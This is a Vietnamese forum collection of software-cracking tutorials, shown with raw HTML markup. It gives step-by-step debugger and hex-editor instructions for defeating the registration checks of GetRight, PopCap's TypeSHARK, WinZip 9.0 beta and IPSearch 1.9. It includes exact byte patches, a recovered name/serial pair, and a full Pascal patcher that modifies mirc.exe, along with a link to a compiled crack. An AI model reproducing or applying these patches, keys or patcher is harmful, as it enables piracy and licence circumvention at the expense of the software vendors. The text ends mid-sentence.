:004997F8 E886190300 call 004CB183 :004997FD E9401D0000 jmp 0049B542   * Referenced by a (U)nconditional or ©onditional Jump at Addresses:  |:004997CF©, :004997F6© | Từ (1), (2), (3), ta sẽ có ba chỗ cần  crack là :  1. Đổi một byte tại RVA 0049F70A (offset 0009EB0A) từ jz  thành jnz (74 thành 75). 2. Đổi một byte tại RVA 0049F6A8 (offset  0009EAA8) từ jz thành jnz (74 thành 75). 3. Đổi một byte tại RVA  004997ED (offset 00098BED) từ jz thành jnz (74 thành 75).  Chú ý :  (3) chỉ được patch khi bạn đã thực hiện xong (1) và (2). Sau đó trở  lại GetRight đăng ký. Đăng ký xong mới thực hiện (3) để xoá các nút.  Get it and try it, bạn sẽ thích ngay mà he he. Thật ra còn nhiều  chuyện để xử lý nó lắm nhưng tôi chỉ bàn đến vấn đề chính thôi, còn  như bạn muốn crack tiếp thì nên disable các nút còn lại (các nút liên  quan tới đăng ký)...Hoặc gỡ bỏ dòng Trial Version v v...  III.  Crack game PopCap---bài viết của Computer_Angel How to crack POPCAP Games  : 1. TypeSHARK ver 1.00 Phần mềm: TypeSHARK ver 1.00 --- &lt;a href="http://www.popcap.com/" target="_blank"&gt;&lt;span class="link"&gt;http://www.popcap.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Bảo vệ: Trial version&lt;br /&gt;Công  cụ : -Softice 4.xx (công cụ để debug chương trình)&lt;br /&gt;-IDA hay W32DASM&lt;br /&gt;-Các công cụ Hex Editor (HexWorkshop)&lt;br /&gt;File cần crack: WinTS.exe&lt;br /&gt;Cracker: Computer_Angel&lt;br /&gt;&lt;br /&gt;+ Tiến hành:&lt;br /&gt;1. Kiểm tra đối tượng:&lt;br /&gt;a) Chạy thử WinTS.exe, bạn sẽ thấy những vấn đề sau:&lt;br /&gt;+ Màn  hình intro có dòng chữ “REGISTER TYPESHARK”, “FREETRIAL VERSION”&lt;br /&gt;+ Khi  nhấn vào “REGISTER TYPESHARK”, một hộp thoại nhập Username+Serial hiện  lên. Nhập thử bất kì username+pass thì nhận được thông báo “The  registration code you have entered is incorrect...”&lt;br /&gt;+ Sau khi chơi, không  ghi tên vào bảng HALL FAME được.&lt;br /&gt;+ Khi thoát ra, có hiện hộp thoại  quảng cáo.&lt;br /&gt;b) Dùng bất cứ một hex editor nào đó, load tập tin  WinTS.exe vào, tìm thử một vài chuỗi mà bạn đã ghi nhận được ở các  bước trên(Ở đây tôi dùng công cụ thông dụng là HexWorkshop 4.00). Ta tìm  thử chuỗi “registration code you”, ta tìm được ở vị trí 00111B24 của  tập tin.&lt;br /&gt;&lt;br /&gt;2. Nhận xét:&lt;br /&gt;+ WinTS.exe có khả năng Register (vì có  hộp thoại đăng ký)&lt;br /&gt;+ Không bị unpack Lý do là vì bạn có thể tìm  được các chuỗi mà bạn thấy trong game.&lt;br /&gt;&lt;br /&gt;3. Bắt đầu công việc:&lt;br /&gt;&lt;br /&gt;a) Dùng IDA để dịch ngược WinTS.exe sang mã máy. Sau khi dịch  xong, ta tìm tới Tab “Strings”, nhấn Alt-T để gõ vào chuỗi cần tìm  kiếm. Gõ vào chuỗi “The registration code you have”. IDA sẽ nhảy tới vị  trí chuỗi cần tìm trong Tab “Strings”.&lt;br /&gt;b) Double click vào chuỗi vừa  tìm ra đó, bạn sẽ được chuyển tới cửa sổ chứa thông tin sau:&lt;br /&gt;aTheRegistratio db 'The registration code you have entered',0Ah&lt;br /&gt;.rdata:00511B20 ; DATA XREF: .text:0043EE54&lt;br /&gt;.rdata:00511B20 db 'is  incorrect. Please try again.',0&lt;br /&gt;.rdata:00511B67 db 0 ;&lt;br /&gt;&lt;br /&gt;Như vậy, ta  biết được WinTS.exe đọc chuỗi “The registration...” chỉ một lần ở vị  trí mã lệnh là 0043EE54.&lt;br /&gt;c) Chuyển sang Tab IDA-View (Chứa mã asm  của WinTS vừa dịch ngược), nhảy tới vị trí mã lệnh 0043EE54 bằng  cách gõ phím “G”, rồi nhập vào 0043EE54 và nhấn Enter, ta được đoạn  mã sau:&lt;br /&gt;text:0043EE54 push offset aTheRegistratio ; "The registration code  you have entered\n"...&lt;br /&gt;.text:0043EE59 mov byte ptr [ebp-4], 3&lt;br /&gt;.text:0043EE5D call sub_407250&lt;br /&gt;&lt;br /&gt;Nhìn lên phía trên 1 xíu, ta thấy  có đoạn so sánh&lt;br /&gt;&lt;br /&gt;.text:0043EE30 push eax&lt;br /&gt;.text:0043EE31 call dword  ptr [edx+54h] &lt;--- Lưu ý .text:0043EE34 test al, al .text:0043EE36  jnz short loc_43EE8C &lt;--- Lưu ý .text:0043EE38 push 1 .text:0043EE3A  sub esp, 1Ch .text:0043EE3D mov ecx, esp .text:0043EE3F mov [ebp+8], esp  .text:0043EE42 push offset aOk ; "OK" .text:0043EE47 call sub_407250  .text:0043EE4C sub esp, 1Ch .text:0043EE4F mov ecx, esp  .text:0043EE51 mov [ebp-14h], esp .text:0043EE54 push offset  aTheRegistratio ; "The registration code you have entered\n"..  d) Vậy  chúng ta có 2 vị trí cần lưu ý. Ta phải kiểm tra xem chức năng của 2  vị trí đó là gì bằng cách dùng Softice. Ta kích hoạt Softice,  dùng SymBol Loader để load tập tin WinTS.exe vào, và nhấn vào “Load  Symbols” trên toolbar để chạy tập tin --&gt; Cửa sổ softice debug sẽ hiện  lên.&lt;br /&gt;Ta đặt break point tại vị trí lệnh cần lưu ý ở trên bằng cách  gõ vào BPX 0043EE31 và nhấn F5.&lt;br /&gt;Chương trình WinTS sẽ chạy bình  thường, chọn “REGISTER TYPESHARK”, nhập username+mã bất kì vào và nhấn  OK.&lt;br /&gt;Khi đó cửa sổ Softice debug sẽ bật lên ngay tại vị trí 0043EE31,  nhấn F10 để chạy lệnh tại ví trí đó, tiếp tục nhấn F10 tới khi vệt  sáng dừng lại tại vị trí 0043EE36.&lt;br /&gt;Đây là lệnh nhảy khi AL không  bằng 0, mà ta thấy AL=0, vậy ta đổi cờ Z bằng cách gõ vào R, và dùng  Tab di chuyển con nháy tới hàng ở phía trên cao dưới hàng ESI=xxxxxxxxx  . Dùng mũi tên di chuyển con nháy tới chữ Z và nhấn Insert.&lt;br /&gt;Để ý,  sau khi nhấn xong, ở vị trí lệnh 43EE36 có mũi tên chỉ xuống, đó là  biểu thị câu lệnh này sẽ nhảy đến vị trí chỉ định.&lt;br /&gt;Ta nhấn F5  và xem kết quả, ta thấy chương trình WinTS có hiển thị như sau:&lt;br /&gt;+  Dòng chữ “FREE TRIAL version” --&gt; “REGISTER VERSION”&lt;br /&gt;+ Dòng “REGISTER  TYPESHARK” o còn nữa.&lt;br /&gt;&lt;br /&gt;Như vậy, ta có nhận xét:&lt;br /&gt;+ Hàm call ở  vị trí 43EE31 có nhiệm vụ kiểm tra username+password nhập vào và trả  về kết quả AL=1 nếu hợp lệ.&lt;br /&gt;e) Thoát khỏi WinTS, nhấn vào nút  “Load Symbols” để chạy lại 1 lần nữa, cũng nhập lại số serial+user tùy  ý.Cửa sổ Softice debug lại hiện ra, lần này bạn nhấn F8 để debug vào  trong hàm kiểm tra. Vệt sáng sẽ chuyển sang địa chỉ là 4A3D20, nhấn F9  để đặt break point tại địa chỉ này, sau đó nhấn F5 để chạy chương  trình bình thường.&lt;br /&gt;f) Thoát khỏi WinTS, nhấn vào nút “Load Symbols”  để chạy lại 1 lần nữa, lần này ta thấy màn Softice Debug hiện ra, vệt  sáng nằm tại vị trí 4A3D20.&lt;br /&gt;---&gt; Nhận xét WinTS gọi hàm này  khi:&lt;br /&gt;+ Bắt đầu chạy để kiểm tra, kết quả trả về AL=1 thì có  nghĩa đã đăng ký rồi.&lt;br /&gt;+ Khi chọn mục đăng ký và nhập số  serial+username.&lt;br /&gt;g) Nhấn F10 để thi hành từng câu lệnh, cho tới khi  vệt sáng nằm ngay lệnh RET:&lt;br /&gt;&lt;br /&gt;.text:004A406F pop esi&lt;br /&gt;.text:004A4070 mov al, bl &lt;--------- Lưu ý .text:004A4072 pop ebx  .text:004A4073 call loc_4EE297 .text:004A4078 mov esp, ebp  .text:004A407A pop ebp .text:004A407B retn 8 &lt;-------- vệt sáng  nằm ngay đây.  Khi đó, AL=0 (vì chưa đăng ký hay đăng ký sai). Nhìn  lên trên 1 xíu, ta thấy tại vị trí 4A4070 chứa mã lệnh mov al,bl.  Như vậy, ta có thể thay đổi lệnh này sau cho giá trị của AL luôn  là 1 --&gt; đổi từ mov al,bl sang mov al,01.&lt;br /&gt;--&gt;byte: 8A C3 sang  B0 01&lt;br /&gt;&lt;br /&gt;4. Crack tập tin WinTS:&lt;br /&gt;Trong IDA, nhảy tới vị trí lệnh  4A4070, nhìn vào thanh status bar nằm ở dưới, ta thấy có 2 số :&lt;br /&gt;+  4A4070 : là vị trí lệnh trong chương trình&lt;br /&gt;+ A4070 : là vị trí của  lệnh trong tập tin.&lt;br /&gt;Mở HexWorkshop lên, nạp tập tin WinTS.exe vào, gõ  Ctrl-G, chọn Hex, gõ vào A4070.&lt;br /&gt;HexWorkshop sẽ chuyển tới vị trí  này. Nhấn TAB để con nháy nằm bên phần có số Hex và gõ vào B001.&lt;br /&gt;Nhấn Ctrl-S để save lại.&lt;br /&gt;&lt;br /&gt;Như vậy bạn đã crack xong game  TypeSHARK ver 1.00 của Popcap.&lt;br /&gt;&lt;br /&gt;IV. Viết Patch Gen.&lt;br /&gt;Khi bạn crack  bằng phương pháp patch, xong không lẽ mỗi lần xài lại phải crack  nó...Sao ta không lưu lại bằng một chương trình gì đó mà mỗi khi cài  lại ta không cần phải ngồi crack nữa ???. Do đó patch gen ra đời, thật  ra có nhiều patch gen được làm sẵn như File patcher 4.0, Fast Patch nhưng  tại sao mình không tự viết patch gen nhỉ. Tôi thì thươngf viết Patch Gen  bằng VC nhưng chỉ giới thiệu với mội người một patch gen cực kỳ đơn  giản bằng Pascal, đây là một ngôn ngữ khá thân thiện với giới tin học  VN, nên tôi chọn để giới thiệu cùng các bạn. Patch Gen này do anh NVC ©  viết...Bạn có thể “ chế lại theo sở thích của mình. Để hiểu được  nó bạn phải biết về Kiểu File trong Pascal vì nó thao tác trên file  mà...Nó dùng các hàm đơn giản như IOResult, Seek,Assign, Reset vv...Sau  đây là một patch gen mình hoạ cho chương trình crack mIRC 603. Các bạn  đem về xem thử nhe. Sau đó dịch ra và chạy.&lt;br /&gt;uses crt;&lt;br /&gt;const&lt;br /&gt;offset1=$000C5A48; {Địa chỉ offset cần crack}&lt;br /&gt;var&lt;br /&gt;ch:char;&lt;br /&gt;procedure patch(location:longint);&lt;br /&gt;var&lt;br /&gt;F:file of byte;&lt;br /&gt;x:array[0..1]of byte; {Số byte cần crack}&lt;br /&gt;begin&lt;br /&gt;{$I-}&lt;br /&gt;Assign(F,'mirc.exe'); {gán tên file cần crack}&lt;br /&gt;Reset(F); {Mở file  vừa gán để đọc }&lt;br /&gt;{$I+}&lt;br /&gt;If Ioresult&lt;&gt;0 then { Nếu tìm không  thấy file}&lt;br /&gt;Begin&lt;br /&gt;clrscr;&lt;br /&gt;textcolor(lightgreen);&lt;br /&gt;Writeln;Writeln;&lt;br /&gt;Writeln('Ban Phai Chay File Crack Trong Thu Muc Co Chua  File Can CraCk...!');&lt;br /&gt;Readln;&lt;br /&gt;End Else {nguoc lai}&lt;br /&gt;Seek(F,location);&lt;br /&gt;x[0]:=$75; {Giá trị cần đổi của file crack}&lt;br /&gt;Write(F,x[0]);{Ghi lên  file}&lt;br /&gt;Close(F); { Đóng file}&lt;br /&gt;End;&lt;br /&gt;Begin&lt;br /&gt;Clrscr;&lt;br /&gt;textcolor(lightgreen);&lt;br /&gt;Writeln(' by hacnho from VCT ');&lt;br /&gt;Textcolor(white);&lt;br /&gt;Gotoxy(10,9);&lt;br /&gt;Writeln('Ban hay nhan phim P de  Patch, Phim bat ky de thoat:');&lt;br /&gt;Ch:=Readkey;&lt;br /&gt;If(ch='p')or(ch='P')then&lt;br /&gt;begin&lt;br /&gt;patch(offset1);&lt;br /&gt;Writeln;Writeln;Writeln;&lt;br /&gt;Gotoxy(17,15);Writeln('mIRC603 PaTcH successful !');&lt;br /&gt;Gotoxy(17,17);Writeln('***** More CRaCk, please contact me at *****');&lt;br /&gt;Gotoxy(20,18); Writeln;&lt;br /&gt;Gotoxy(20,19);  Writeln('*************************************');&lt;br /&gt;Gotoxy(20,20); Writeln('*  E-Mail : &lt;a href="mailto:tommy9982@yahoo.com"&gt;tommy9982@yahoo.com&lt;/a&gt; *');&lt;br /&gt;Gotoxy(20,21); Writeln('* YIM : tommy9982 *');&lt;br /&gt;Gotoxy(20,22); Writeln('*  http:\\www.vietcracks.com *');&lt;br /&gt;Gotoxy(20,23);  Writeln('*************************************');&lt;br /&gt;Readln;&lt;br /&gt;end else Exit&lt;br /&gt;end.&lt;br /&gt;Chương trình đã dịch rồi&lt;br /&gt;&lt;a href="http://www.vietcracks.com/download/test.rar" target="_blank"&gt;&lt;span class="link"&gt;http://www.vietcracks.com/download/test.rar&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;V.  Thuật toán, thuật ngữ thường dùng…Bổ sung tiếp&lt;br /&gt;&lt;br /&gt;1. Các hệ đếm:&lt;br /&gt;Thông  thường ta có các hệ đếm cơ bản như sau:&lt;br /&gt;&lt;br /&gt;a. Hệ Decimal (10): dùng các ký  tự số 0,1..9&lt;br /&gt;Ví dụ : 2754 = 4+5.10+7.10.10+2.10.10.10&lt;br /&gt;b. Hệ Hexa (16):  dùng các ký tự số và chữ 0,1,…9, A,B..F&lt;br /&gt;Ví dụ : 3C5F =  15+5.16+16.16.16+3.16.16.16&lt;br /&gt;c. Hệ Binary(2): dùng các ký số 0,1&lt;br /&gt;Ví dụ :  1001 = 1+0.2+0.2.2+1.2.2.2&lt;br /&gt;(còn tiếp…)&lt;br /&gt;&lt;br /&gt;Okie thế là chúng ta đã đi  hết Giai Đoạn 1: Nhập môn cracker. Các bạn cảm thấy thế nào? Crack cũng khá dễ  dàng ấy nhỉ ??? Thôi tạm biệt chúc các bạn may mắn. Trong một ngày gần đây tôi  sẽ up lên Phần 9—GIAI ĐOẠN, các bạn đón theo dõi bài viết của hacnho&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="postbody"&gt;How to crack WinZip® Version 9.0 PRE-RELEASE BETA TEST  VERSION (5661)&lt;br /&gt;&lt;br /&gt;Phần mềm: WinZip 9.0 beta2&lt;br /&gt;Bảo vệ: Unregistered  Version/ Name Serial.&lt;br /&gt;Công cụ :&lt;br /&gt;-W32DASM ver 893&lt;br /&gt;-OllyDBG 1.09b&lt;br /&gt;Phương pháp crack: Find real serial&lt;br /&gt;Mức độ ()Dễ (x)Vừa ()Hơi khó ()Rất  khó&lt;br /&gt;File cần crack WINZIP32.EXE&lt;br /&gt;Cracker: hacnho (hacnho@hopthu.com)&lt;br /&gt;Website: &lt;a href="http://kickme.to/VCT/" target="_blank"&gt;&lt;span class="link"&gt;http://kickme.to/VCT/&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I. Giới thiệu&lt;br /&gt;&lt;br /&gt;Chào  các bạn, lâu lắm rồi hacnho mới viết tut mới, dạo này đang chạy XP nên  lười cài SI. Cho nên thích crack các soft nhỏ bằng Olly 1.09b hơn. Hôm nay  WinZip đã ra bản 9.0 beta 2 build 5611. Tuy là nó không có gì thay đổi so  với bản beta 1 nhưng tâm lý mọi người thích cái mới hơn. Do đó yêu cầu  đặt ra là phải crack cho nó nóng sốt . Okie, chúng ta bắt đầu crack  thôi. Yêu cầu lần crack này là tìm được real serial ứng với name nhập  vào. Từ đó tìm hiểu thêm về đoạn mã để tiện việc code keygen.&lt;br /&gt;&lt;br /&gt;II. Bắt tay vào crack Winzip 9.0 beta 2&lt;br /&gt;&lt;br /&gt;Đầu tiên, sau khi cài  đặt xong, ta chạy Winzip 9.0 beta 2 thì một nag hiện lên bắt nhập số  serial. Ở đây hacnho nhập vào : Name = hacnho, Regcode bằng 15101983. Một  nag văng ra “Incomplete or incorrect information”. Do chúng ta cầm tìm real  serial tương ứng với Name = hacnho nên dùng OllyDBG 1.09b có plugin Command  Bar load file WINZIP32.EXE lên. Righ click tại phần main của Olly, chọn  Search for ---&gt;All referenced text string. Chọn search for text. Gõ vào  một chuỗi của câu thông báo mà Winzip cho ta là “Incomplete”. Wow, không  có gì xảy ra cả. Hic hic, mất cả 5 phút để kiếm cái string “Incomplete  or incorrect information” trong Olly mà chả thấy. Ta đành nhờ chàng  WinDASM 8.93 xem sao. Okie, mở WinZip bằng Wdasm, vào Ref menu kiếm dòng  “Incomplete or incorrect information”, xong rồi double click vào dòng string  để nhảy ra main của WinDasm. Xem địa chỉ của nó là bao nhiêu. Hà hà  thì ra hắn nằm ngay tại Code Data : 0040D202. Bây giờ ta đóng Wdasm lại.  Vào main của OllyDBG, gõ Ctrl+G, nhập vào 0040D202. Bạn sẽ thấy những  dòng tương tự như vầy :&lt;br /&gt;&lt;br /&gt;0040D202 |&gt; E8 C6F7FFFF CALL  WINZIP32.0040C9CD&lt;br /&gt;&lt;br /&gt;0040D207 |. 68 8E020000 PUSH 28E&lt;br /&gt;&lt;br /&gt;0040D20C |.  E8 97C10500 CALL WINZIP32.004693A8&lt;br /&gt;&lt;br /&gt;Bây giờ bạn di chuyển thanh cuộn  lên vài hàng cho đến khi gặp những dòng sau:&lt;br /&gt;&lt;br /&gt;0040D18C |. FF15  9C954B00 CALL DWORD PTR DS:[&lt;&amp;amp;USER32.GetDlgItemTextA&gt;] ;  \GetDlgItemTextA&lt;br /&gt;&lt;br /&gt;0040D192 |. 56 PUSH ESI&lt;br /&gt;&lt;br /&gt;0040D193 |. E8 9EC00500  CALL WINZIP32.00469236&lt;br /&gt;&lt;br /&gt;0040D198 |. 56 PUSH ESI&lt;br /&gt;&lt;br /&gt;0040D199 |. E8  C1C00500 CALL WINZIP32.0046925F&lt;br /&gt;&lt;br /&gt;0040D19E |. 803D 8CA14D00 &gt;CMP BYTE  PTR DS:[4DA18C],0&lt;br /&gt;&lt;br /&gt;0040D1A5 |. 59 POP ECX&lt;br /&gt;&lt;br /&gt;0040D1A6 |. 59 POP ECX&lt;br /&gt;&lt;br /&gt;0040D1A7 |. 74 59 JE SHORT WINZIP32.0040D202 --&gt;Nhận name nhập vào&lt;br /&gt;&lt;br /&gt;0040D1A9 |. 803D B8A14D00 &gt;CMP BYTE PTR DS:[4DA1B8],0&lt;br /&gt;&lt;br /&gt;0040D1B0 |. 74 50 JE SHORT WINZIP32.0040D202 --&gt;Nhận serial name  nhập vào&lt;br /&gt;&lt;br /&gt;0040D1B2 |. E8 6DFCFFFF CALL WINZIP32.0040CE24 --&gt; Gọi  đoạn mã tạo key&lt;br /&gt;&lt;br /&gt;0040D1B7 |. 84C0 TEST AL,AL --&gt; so sánh serial  nhập và sinh ra&lt;br /&gt;&lt;br /&gt;0040D1B9 |. 74 47 JE SHORT WINZIP32.0040D202 --&gt;  bắn nag&lt;br /&gt;&lt;br /&gt;0040D1BB |. 57 PUSH EDI&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Vậy chúng ta đã xác  định được WinZip sử dụng hàm API GetDlgItemTextA để xét serial và name  nhập vào. Yeah, chúng ta đã biết được breakpoint cần thiết để trace.  Bây giờ bạn hãy nhấn F2 (tương tự F7 trong SoftIce) để toogle breakpoint  tại dòng 0040D18C . Bạn nhấn F9 (tương tự F5 trong SoftIce) để chạy. Cái  nag bắt đăng ký bật lên. Nhập vào name là hacnho, serial là 15101983.  Nhấn OK. Waa, Olly Ice tại đây 0040D18C. Bạn bắt đầu nhấn F8 (tương tự  F10 trong SoftIce) để trace downward. Khi trace tới dòng:&lt;br /&gt;&lt;br /&gt;0040D1B2 |.  E8 6DFCFFFF CALL WINZIP32.0040CE24 --&gt; Gọi đoạn mã tạo key&lt;br /&gt;&lt;br /&gt;0040D1B7 |. 84C0 TEST AL,AL --&gt; so sánh serial nhập và sinh ra&lt;br /&gt;&lt;br /&gt;Ta nhận thấy rằng Winzip gọi hàm kiểm tra key ngay trước dòng  test al, al. He he ta cần xem cái đoạn đó nó tạo key ra sao. Okie bạn  nhấn F7 (tương tự F8 trong SoftIce) để nhảy vào trong đoạn call này. Bạn  sẽ thấy những dòng này sau đó:&lt;br /&gt;&lt;br /&gt;0040CE24 /$ 55 PUSH EBP&lt;br /&gt;&lt;br /&gt;0040CE25 |. 8BEC MOV EBP,ESP&lt;br /&gt;&lt;br /&gt;0040CE27 |. 81EC 40030000 SUB  ESP,340&lt;br /&gt;&lt;br /&gt;0040CE2D |. A1 B06A4D00 MOV EAX,DWORD PTR DS:[4D6AB0]&lt;br /&gt;&lt;br /&gt;Tiếp tục trace downward, đến đoạn:&lt;br /&gt;&lt;br /&gt;0040CE8E |&gt; 0FB603  /MOVZX EAX,BYTE PTR DS:[EBX]&lt;br /&gt;&lt;br /&gt;0040CE91 |. 50 |PUSH EAX&lt;br /&gt;&lt;br /&gt;0040CE92  |. E8 41270900 |CALL WINZIP32.0049F5D8&lt;br /&gt;&lt;br /&gt;0040CE97 |. 85C0 |TEST EAX,EAX&lt;br /&gt;&lt;br /&gt;0040CE99 |. 59 |POP ECX&lt;br /&gt;&lt;br /&gt;0040CE9A |. 74 05 |JE SHORT  WINZIP32.0040CEA1&lt;br /&gt;&lt;br /&gt;0040CE9C |. 8A03 |MOV AL,BYTE PTR DS:[EBX]&lt;br /&gt;&lt;br /&gt;0040CE9E |. 8807 |MOV BYTE PTR DS:[EDI],AL&lt;br /&gt;&lt;br /&gt;0040CEA0 |. 47 |INC  EDI&lt;br /&gt;&lt;br /&gt;0040CEA1 |&gt; 43 |INC EBX&lt;br /&gt;&lt;br /&gt;0040CEA2 |. 803B 00 |CMP BYTE PTR  DS:[EBX],0&lt;br /&gt;&lt;br /&gt;0040CEA5 |.^75 E7 \JNZ SHORT WINZIP32.0040CE8E&lt;br /&gt;&lt;br /&gt;bạn  sẽ phải trace nhiều lần. Tại sao, hì...Lý do là đoạn này sẽ xét  từng ký tự, để tạo ra số serial tương ứng với mỗi ký tự. Do chỉ cần  tìm real serial tôi không đi sâu vào phần phân tích cách tạo key. Tiếp  tục chờ Olly trace vòng vòng cái đoạn mã này 6 lần (ứng với sáu ký  tự h a c n h o). Bạn tiếp tục trace từ từ cho tới đoạn mã này:&lt;br /&gt;&lt;br /&gt;0040CF66 |. 50 PUSH EAX&lt;br /&gt;&lt;br /&gt;0040CF67 |. 56 PUSH ESI&lt;br /&gt;&lt;br /&gt;0040CF68  |. E8 51F4FFFF CALL WINZIP32.0040C3BE&lt;br /&gt;&lt;br /&gt;0040CF6D |. 8D85 C0FCFFFF LEA  EAX,DWORD PTR SS:[EBP-340] --&gt; hiện real serial : BCDC063C&lt;br /&gt;&lt;br /&gt;0040CF73  |. 50 PUSH EAX&lt;br /&gt;&lt;br /&gt;bạn khỏi cần d EBP-340 để thấy real serial làm chi  cho cực. Các cửa số của OllyDBG tự động hiện ra chuỗi ASCII có số  serial hà :&lt;br /&gt;&lt;br /&gt;0012EE5C 004DA18C ASCII "hacnho"&lt;br /&gt;&lt;br /&gt;0012EE60 0012EE70  ASCII "BCDC063C"&lt;br /&gt;&lt;br /&gt;0012EE64 004DA18C ASCII "hacnho"&lt;br /&gt;&lt;br /&gt;0012EE68  004DA1B8 ASCII "15101983"&lt;br /&gt;&lt;br /&gt;Okie, Số serial thực ứng với Name= hacnho  là BCDC063C. Thế là WinZip9.0 beta2 đã bị crack rồi đó.&lt;br /&gt;&lt;br /&gt;Lưu ý:  các bạn nếu dùng SoftICe để crack mà không thích Olly thì hacnho có  mấy lời khuyên sau đây:&lt;br /&gt;&lt;br /&gt;+ WinZip 9.0 beta 2 có 13 đoạn Call sử  dụng hàm API Getdlgitemtexta. Do đó nếu bạn chỉ đặt khơi khơi breakpoint  Getdlgitemtexta thì nên nhớ chỉ nhấn F5 một lần để nó Ice tại đoạn mã  nhập Name và Serial. Nếu tuỳ tiện nhấn F5 vài lần thì SoftIce sẽ dẫn  bạn tới Xômali luôn đó.&lt;br /&gt;&lt;br /&gt;+Olly có giao diện trực quan, dễ analyze,  do đó ta dễ dàng tìm ra breakpoint cần thiết. Còn thằng SI thì không  nên rất khó đặt breakpoint. Muốn đặt chính xác bạn phải hiểu rõ cấu  trúc của các hàm API.&lt;br /&gt;&lt;br /&gt;III. Kết luận&lt;br /&gt;&lt;br /&gt;Qua tut này ta học  được một điều, cần phải linh động dùng các soft bổ sung cho nhau, sẽ  mang lại kết quả hơn cả mong đợi.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="postbody"&gt;PHỤ LỤC: hàm API Getdlgitemtext&lt;br /&gt;&lt;br /&gt;GetDlgItemText&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The GetDlgItemText function retrieves the title or text associated  with a control in a dialog box.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;UINT GetDlgItemText(&lt;br /&gt;&lt;br /&gt;HWND  hDlg, // handle of dialog box&lt;br /&gt;&lt;br /&gt;int nIDDlgItem, // identifier of control&lt;br /&gt;&lt;br /&gt;LPTSTR lpString, // address of buffer for text&lt;br /&gt;&lt;br /&gt;int nMaxCount //  maximum size of string&lt;br /&gt;&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Parameters&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;hDlg&lt;br /&gt;&lt;br /&gt;Identifies the dialog box that contains the control.&lt;br /&gt;&lt;br /&gt;nIDDlgItem&lt;br /&gt;&lt;br /&gt;Specifies the identifier of the control whose title or text is to be  retrieved.&lt;br /&gt;&lt;br /&gt;lpString&lt;br /&gt;&lt;br /&gt;Points to the buffer to receive the title or  text.&lt;br /&gt;&lt;br /&gt;nMaxCount&lt;br /&gt;&lt;br /&gt;Specifies the maximum length, in characters, of  the string to be copied to the buffer pointed to by lpString. If the length of  the string exceeds the limit, the string is truncated.&lt;br /&gt;&lt;br /&gt;Return Values&lt;br /&gt;&lt;br /&gt;If the function succeeds, the return value specifies the number of  characters copied to the buffer, not including the terminating null character.&lt;br /&gt;&lt;br /&gt;If the function fails, the return value is zero.&lt;br /&gt;&lt;br /&gt;Remarks&lt;br /&gt;&lt;br /&gt;The GetDlgItemText function sends a WM_GETTEXT message to the control.&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_Bài viết của hacnho xin vui lòng để lại dòng này khi trích dẫn  hoặc đăng tải.&lt;br /&gt;&lt;br /&gt;_download bản tut bằng HTML :&lt;br /&gt;Yeah! Để hưởng ứng với  HacNho part II “Cracker! Who are you” phần lấy correct Serials, Zombie post tiếp  tuts cho chương trình này…&lt;br /&gt;&lt;br /&gt;Production: IPSearch 1.9&lt;br /&gt;Copyright by:  Paul Gerhart&lt;br /&gt;Homepage: &lt;a href="http://www.worldlynx.net/pgerhart/" target="_blank"&gt;&lt;span class="link"&gt;http://www.worldlynx.net/pgerhart/&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Protector: Name/Serials&lt;br /&gt;Packed: None&lt;br /&gt;Tools: OllyDbg 1.09d&lt;br /&gt;Done:  Get Correct Serials&lt;br /&gt;Cracked by: Zombie DeathMan&lt;br /&gt;Comment: IPsearch lets  you search the Internet's IP address space - give it a starting IP address and  it sequentially searches for HTTP ports and reports summary HTML content.  IPsearch can also do a complete Whois function and can convert domain names to  IP addresses. Results can be saved and printed.&lt;br /&gt;&lt;br /&gt;Sử dụng thử thử chương  trình bạn sẽ thấy gặp một số khó chịu khi chưa Reg: Menu Item yêu cầu Reg, hiện  Nag khi Exit, limited functions…&lt;br /&gt;&lt;br /&gt;Hm…Với ngần ấy rắc rối này mà patch thì  hơi mệt đa (vì phải tìm đến từng vị trí cần correct serials mà Patch). Thui…Đành  chơi ra correct Serials vậy (còn Keygen thì….hm..Chương trình này thuật tạo  Keygen cũng no so hard..You can try it.. )&lt;br /&gt;&lt;br /&gt;Bắt đầu crack để tìm correct  serials là việc tìm đến BadBoy. Ở đây là string “Name/Code mis-match. Try  again.” Oki! Sử dụng OllyDbg để tìm đến String này.&lt;br /&gt;Bạn sẽ đến được BadBoy  này tại Addr: 004057F7&lt;br /&gt;&lt;br /&gt;004057F3 |&gt; \6A 00 PUSH 0 --&gt;Dịch dấu nháy  đến here bạn sẽ thấy OllyDbg chỉ đến lệnh nhảy trước đó (Jump from) ở Addr  00405760, 0040579B&lt;br /&gt;004057F5 |. 6A 00 PUSH 0&lt;br /&gt;004057F7 |. 68 8C834100 PUSH  IPsearch.0041838C ; ASCII "Name / Code mis-match. Try again."&lt;br /&gt;&lt;br /&gt;Như vậy ở  2 Addr 00405760, 0040579B nếu nhảy sẽ --&gt; BadBoy. Vì thế chắc chắn trước đó  phải có hàm tạo Keygen…Yeh! Hàm tạo Keygen ở 00405743. Vào trong hàm này bạn sẽ  thấy nó được Call từ khá nhiều chỗ --&gt; Patch là mệt nghĩ.&lt;br /&gt;&lt;br /&gt;Tìm đến  00405786.&lt;br /&gt;&lt;br /&gt;0040577E |. 52 PUSH EDX ; /s2&lt;br /&gt;0040577F |. 8B85 7CFFFFFF  MOV EAX,DWORD PTR SS:[EBP-84] ; |&lt;br /&gt;00405785 |. 50 PUSH EAX ; |s1&lt;br /&gt;00405786  |. FF15 B0454100 CALL DWORD PTR DS:[&lt;&amp;amp;MSVCRT._mbscmp&gt;] ; \_mbscmp&lt;br /&gt;&lt;br /&gt;Ở đây là hàm cmp với 2 đối số là 2 String cần so sánh. Rõ rồi. Chỉ cần  set bp here là bạn sẽ có được CorrectSerials (Nhìn giá trị ở các đối số: 1 cái  